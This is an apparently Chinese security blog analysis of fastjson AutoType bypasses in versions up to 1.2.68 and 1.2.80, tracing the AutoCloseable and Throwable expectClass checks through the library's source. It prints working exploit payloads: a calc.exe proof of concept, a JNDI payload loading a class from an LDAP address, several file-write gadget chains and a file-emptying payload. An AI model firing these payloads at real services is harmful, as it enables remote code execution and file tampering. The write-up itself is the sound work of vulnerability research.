深究fastjson利用分析

2022-08-01
244

fastjson <= 1.2.68

对上个版本的修复

在 1.2.47 版本漏洞爆发之后,官方在 1.2.48 对漏洞进行了修复,在MiscCodec处理 Class 类的地方,设置了cache 为 false ,并且loadClass重载方法的默认的调用改为不缓存,这就避免了使用了 Class 提前将恶意类名缓存进去。

更新了一个新的安全控制点 safeMode,如果应用程序开启了 safeMode,将在checkAutoType()中直接抛出异常,也就是完全禁止 autoType

漏洞概述

在这个版本中主要是通过利用checkAutoType中的参数expectClass

1658472206_62da470ec59b31c0a9a4d.png!small?1658472206483

ParserConfig#checkAutoType中, 如果想要加载的类不在白名单中,如果开启了autoTypeSupport或者expectClassFalgTrue都是可以的,这里我们需要在不开启autoTypeSupport的情况下,加载类,所以我们需要使得后者为true

1658472224_62da4720e465a09cb82fb.png!small?1658472224660

如上图所示,想要expectClassFlag满足条件,就需要绕过这些内置的黑名单了

所以绕过的方法为:

  1. 以某个类作为expectClass参数传入checkAutoType

  2. 查找反序列化expectClass的子类或实现,如果构造方法或setter中含有其它类型可重复第一步构造一个反序列化链,直到找到可以利用的类为止

漏洞分析

总体

我们需要寻找有哪些类或者接口可以通过校验,存有:

  • 白名单(符合白名单条件的类)

  • TypeUtils.mappings (符合缓存映射中获取的类)

  • typeMapping (ParserConfig中本身带有的集合)

  • deserializers (符合反序列化器的类)

TypeUtils#getClassFromMapping处打下断点,查看TypeUtils.mappings的可用类或接口

1658472255_62da473fb5258acc0b0cd.png!small?1658472255431

这里面有很多,比如这个java.lang.AutoCloseable接口

1658472265_62da4749556fe080bfc02.png!small?1658472265088

使用的是JavaBeanDeserializer反序列化器, 在实例化对象的时候因为该类型是接口,则将会继续解析下一个json字段

1658472276_62da4754c499387485e07.png!small?1658472276506

如果存在而且为类型(@Type修饰)

1658472287_62da475f62c2ac90cd973.png!small?1658472287200

就将这个接口作为expectClass参数传入checkAutoType检测下一个类型

1658472296_62da476820afd48a122c9.png!small?1658472295779

很明显,这里不会被拦截,使得expectClassFlagtrue

1658472304_62da47701c8830ab8ee99.png!small?1658472303851

直接一路来到了类加载,绕过了AutoType的检测,成功加载了恶意类

package pers.fastjson;

import com.alibaba.fastjson.json;

public class Fj68TestPoc {
public static void main(String[] args) {
String payload = "{\"@type\":\"java.lang.AutoCloseable\", \"@type\":\"pers.fastjson.Fj68Test\", \"cmd\":\"calc.exe\"}";
json.parseObject(payload);
}
}

对于java.lang.AutoCloseable的实现非常多,我们需要挖掘实现其的类

1658472320_62da478082559a47710b2.png!small?1658472321414

细节

  1. 期望类存在黑名单过滤

    } else {
    if (expectClass == Object.class
    || expectClass == Serializable.class
    || expectClass == Cloneable.class
    || expectClass == Closeable.class
    || expectClass == EventListener.class
    || expectClass == Iterable.class
    || expectClass == Collection.class
    ) {
    expectClassFlag = false;
    } else {
    expectClassFlag = true;
    }
    }
  2. 黑名单类,fastjson 在 denyHashCodes 里几乎把常见的容易造成漏洞的类都加进了黑名单,这就造成了攻击成本变高,如果要利用漏洞,只能花费更多的时间去寻未被发现的常用库 gadget

  3. 父类、父接口黑名单,fastjson 在判断期望类之前将继承自 ClassLoader、DataSource、RowSet 的类直接抛出异常。

    if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
    || javax.sql.DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
    || javax.sql.RowSet.class.isAssignableFrom(clazz) //
    ) {
    throw new jsonException("autoType is not support. " + typeName);
    }

    而常用的 JNDI RCE 类基本上都继承自 DataSource 和 RowSet,所以能找到的 JNDI gadget 基本都无法在这个漏洞中使用。

    以上三点足够让大部分常见的 gadget 无法使用

利用链

JNDI

这里主要是针对1.2.50版本及以前,因为在51版本就把OracleJDBCRowSet加入了黑名单

想要利用这个需要有oracle jdbc依赖

1658472346_62da479adbc6b76a07883.png!small?1658472346615

可以知道这里是实现了java.lang.AutoCloseable接口的,可以绕过autoTypeSupport

调用链如下

1658472356_62da47a4a2bca50975372.png!small?1658472356314

OracleJDBCRowSet#getConnectionlookup的参数可控,通过调用getDataSourceName方法得到

跟进方法,为其父类的方法,且存在相应属性

1658472368_62da47b0bec96836065e1.png!small?1658472368347

那怎么调用getConnection方法呢?

在setCommand方法中存在调用

1658472379_62da47bb69cc8795a122e.png!small?1658472379049

我们就可以设定一个command属性值,触发他的setter方法,达到触发漏洞的目的

Payload
{
"@type":"java.lang.AutoCloseable",
"@type":"oracle.jdbc.rowset.OracleJDBCRowSet",
"dataSourceName":"ldap://localhost:9999/Evil",
"command":"a"
}

文件读写

写文件

浅蓝给的思路:

  • 需要一个通过 set 方法或构造方法指定文件路径的 OutputStream

  • 需要一个通过 set 方法或构造方法传入字节数据的 OutputStream,并且可以通过 set 方法或构造方法传入一个 OutputStream,最后可以通过 write 方法将传入的字节码 write 到传入的 OutputStream

  • 需要一个通过 set 方法或构造方法传入一个 OutputStream,并且可以通过调用 toString、hashCode、get、set、构造方法 调用传入的 OutputStream 的 flush 方法

  • 指定文件路径的 排错

{
"@type": "java.lang.AutoCloseable",
"@type": "java.io.FileOutputStream",
"file": "/tmp/test.txt",
"append": "false"
}

但是这里出现了问题:

1658472397_62da47cd88ad7c580911e.png!small?1658472397121

原因是在JavaBeanInfo#build方法中调用ASMUtils.lookupParameterNames(constructor)方法获取构造方法的参数名。如果没找到,则抛出上述异常

使用javap -l 判断是否包含参数名信息

1658472402_62da47d2df77ca7b8c701.png!small?1658472402594

对比发现不同的JDK不一样

payload1
{
'@type':"java.lang.AutoCloseable",
'@type':'sun.rmi.server.MarshalOutputStream',
'out':
{
'@type':'java.util.zip.InflaterOutputStream',
'out':
{
'@type':'java.io.FileOutputStream',
'file':'/tmp/fj_hack_jdk11',
'append':false
},
'infl':
{
'input':
{
'array':'eJzzSK1USMqv1FHwVEjMVQjKT8oPSS3KAABRJwdZ',
'limit':30
}
},
'bufLen':1048576
},
'protocolVersion':1
}
  • 条件

    需要时带有调试信息的JDK才可以利用成功(JDK11) 同样可以改造成适用于JDK8的payload

    "input": "eJzzSK1USMqv1FHwVEjMVQjKT8oPSS3KAABRJwdZ"

  • 简单分析

    我们就按照内到外分析,通过InflaterOutputStream的构造方法传入out参数是一个FileOutputStream指定的输出流路径的输出流对象,而另一个参数是infl是一个Inflater对象,通过调用他的setInput方法,指定buffer数据,值得注意的是他会使用com.alibaba.fastjson.serializer.ByteBufferCodec这个反序列化器进行处理,该反序列化器会将数据先反序列化为com.alibaba.fastjson.serializer.ByteBufferCodec$ByteBufferBean,然后再调用ByteBufferCodec$ByteBufferBean#byteBuffer()方法返回ByteBuffer对象

    最后呢,就通过最外层的MarshalOutputStream的构造方法,最终执行了flush,成功写入文件

    因为这里存在一个解压数据的过程,我们就需要将想写入的数据,压缩之后base64编码

    public class InflaterTest {

    public static byte[] zlibCompress(String message)throws Exception
    {
    String chatacter="UTF-8";
    byte[] input = message.getBytes(chatacter);
    System.out.println("input length "+input.length);
    byte[] output = new byte[input.length+10+new Double(Math.ceil(input.length*0.25f)).intValue()];
    System.out.println(output.length);
    Deflater compresser = new Deflater();
    compresser.setInput(input);
    compresser.finish();
    int compressedDataLength = compresser.deflate(output);
    System.out.println("compressedDataLength "+compressedDataLength);
    compresser.end();
    return Arrays.copyOf(output, compressedDataLength);
    }

    public static byte[] zlibInfCompress(byte[] barr,String charater)throws Exception{
    byte[] result=new byte[barr.length];
    Inflater inf=new Inflater();
    inf.setInput(barr);
    int infLen=inf.inflate(result);
    inf.end();
    String strOgr=new String(result,charater);
    System.out.println("str ogr "+strOgr);
    return Arrays.copyOf(result, infLen);
    }
    public static void main(String[] args)throws Exception{

    String str="Hey boy, I am RoboTerh";

    byte[] def= InflaterTest.zlibCompress(str);
    String strBase=Base64.encodeBase64String(def);
    System.out.println("str base64 string "+strBase);
    byte[] decStr=Base64.decodeBase64(strBase);
    byte[] decode_str= InflaterTest.zlibInfCompress(decStr, "UTF-8");
    String decStrOgr=new String(decode_str,"UTF-8");
    System.out.println("decStrOgr "+decStrOgr);
    }
    }

     

payload2
{
'stream':
{
'@type':"java.lang.AutoCloseable",
'@type':'org.eclipse.core.internal.localstore.SafeFileOutputStream',
'targetPath':'/tmp/dst',
'tempPath':'/tmp/src'
},
'writer':
{
'@type':"java.lang.AutoCloseable",
'@type':'com.esotericsoftware.kryo.io.Output',
'buffer':'base64',
'outputStream':
{
'$ref':'$.stream'
},
'position':19
},
'close':
{
'@type':"java.lang.AutoCloseable",
'@type':'com.sleepycat.bind.serial.SerialOutput',
'out':
{
'$ref':'$.writer'
}
}
}
  • 其他类似

    当然还有其他的利用链,比如第一个类使用org.apache.tools.ant.util.LazyFileOutputStream指定输出流路径,第二个类使用org.apache.solr.common.util.FastOutputStream, 第三个使用org.iq80.snappy.SnappyOutputStream

  • 依赖:


    org.aspectj
    aspectjtools
    1.9.5


    com.esotericsoftware
    kryo
    4.0.0


    com.sleepycat
    je
    18.3.12
  • 简单分析

    首先在stream中通过SafeFileOutputStream创建一个输出流对象,传入参数targetPathtempPath, 成功指定输出流路径 然后再writer中通过Output的无参构造方法,创建一个输出流对象,通过buffer的setter方法向缓冲区写入数据, 这里应该是base64,因为其调用链为ObjectArrayCodec.deserializer -> jsonScanner.bytesValue -> IOUtils.decodeBase64, 最后通过ouputStream的setter方法将输出流指向stream

    最后在close中通过SerialOutput创建一个输出流对象,并传入参数out, 指向writer中的输出流对象,最后会调用ObjectOutputStream的构造方法,最后调用Output.flush,成功写入

    1658472441_62da47f935a1b3c441dd5.png!small?1658472440710

     

    a) 只要dst存在,PoC就会往src写数据,与src是否存在无关。 b) dst不存在、src存在时,先"mv src dst",再往src写数据。 c) dst、src都不存在时才会往dst写数据。

清空文件
payload
{
"@type":"java.lang.AutoCloseable",
"@type":"java.io.FileOutputStream",
"file":"/tmp/nonexist",
"append":false
}
  • 条件

需要通过ASMUtils.lookupParameterNames()即需要保留有调试信息

  • 分析

这里就是指定了一个路径的输出流,且设定为覆盖模式,且没有写入数据,导致清空文件内容

同样java.io.FileWriter也可以达到目的

fastjson <= 1.2.80

对上个版本的修复

将期望类java.lang.AutoCloseable加入了黑名单

漏洞分析

但是除了AutoCloseable可以进行绕过,Throwable也可以进行绕过,简单分析一下

主要是找到一个Deserializer可以将expressClass作为checkAutoType的参数,且能够突破expressClass的限制,正如这里的ThrowableDeserializer#deserialze中存在

1658472507_62da483b7b8a9c625c1a3.png!small?1658472507203

这里限制了必须为Throwable类或子类,存在一个java.lang.Exception类,不仅在TypeUtils.mappings中存在,而且没有在黑名单中

1658472512_62da48405df77dc9e3a86.png!small?1658472512063

所以只需要找到继承java.lang.Exception的类,就能够绕过检查

跟进代码,在第一次进入checkAutoType中的时候expectClass为null,

1658472518_62da4846158adee34cf57.png!small?1658472517662

一直跟进到这里尝试从mappings中获取缓存

1658472524_62da484cb752a6255e978.png!small?1658472524404

之后在ParserConfig#getDeserializer通过clazz获取到了反序列化器为ThrowableDeserializer

1658472529_62da48511fbecb6dd8004.png!small?1658472528676

之后调用其derserialize方法,跟进

1658472533_62da48555728daf6036ae.png!small?1658472533143

之后在这里获取下一个@type

1658472537_62da4859a918dec728b53.png!small?1658472537317

最后在这里将java.lang.Exception类作为expressClass传入

也能够成功绕过黑名单的检验

参考

Fastjson v1.2.80 Throwable AutoType 机制绕过漏洞分析

寻找Fastjson 1.2.68 AutoCloseable利用链(3) (qq.com)

fastjson 读文件 gadget 的利用场景扩展 - 浅蓝 's blog (b1ue.cn)

Fastjson 1.2.68 反序列化漏洞 Commons IO 2.x 写文件利用链挖掘分析 (qq.com)

转载时必须以链接形式注明原始出处及本声明